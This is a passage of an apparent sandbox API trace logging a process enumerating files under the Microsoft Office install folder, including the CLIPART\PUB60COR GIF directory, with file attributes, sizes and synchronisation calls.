ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0286.748] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0286.748] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppVLP.exe", cAlternateFileName="")) returned 1 [0286.748] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0286.749] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0286.749] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd11f68b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd11f68b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd191da0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0286.749] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1242d5d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1242d5d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1bcc41c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0286.749] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd244aa14, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0286.749] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ea0ff2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ea0ff2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd20449b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0286.750] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e7acf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e7acf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1fac086, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0286.750] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e2e85a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e2e85a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f5fb21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0286.750] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f0533c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0286.750] ResetEvent (hEvent=0x2a0) returned 1 [0286.750] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.870] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0286.870] ResetEvent (hEvent=0x2a0) returned 1 [0286.870] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.872] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0286.872] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0286.873] GetProcessHeap () returned 0xaf0000 [0286.873] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a6270 | out: hHeap=0xaf0000) returned 1 [0286.873] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0286.873] GetProcessHeap () returned 0xaf0000 [0286.873] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0286.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0286.873] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.873] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0286.873] GetProcessHeap () returned 0xaf0000 [0286.873] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0286.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.874] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.874] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0286.874] ResetEvent (hEvent=0x2a0) returned 1 [0286.874] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.895] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0286.895] ResetEvent (hEvent=0x2a0) returned 1 [0286.895] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.911] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0286.911] ResetEvent (hEvent=0x2a0) returned 1 [0286.911] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.913] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0286.913] ResetEvent (hEvent=0x2a0) returned 1 [0286.913] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.915] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0286.915] ResetEvent (hEvent=0x2a0) returned 1 [0286.915] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.917] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0286.917] ResetEvent (hEvent=0x2a0) returned 1 [0286.917] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.919] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0286.919] ResetEvent (hEvent=0x2a0) returned 1 [0286.919] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.958] ResetEvent (hEvent=0x2a0) returned 1 [0286.958] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.340] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0287.340] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0287.340] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0287.340] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0287.340] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0287.341] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0287.341] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0287.341] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0287.341] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0287.341] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0287.341] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0287.342] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0287.342] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0287.342] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0287.342] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0287.342] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0287.342] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, 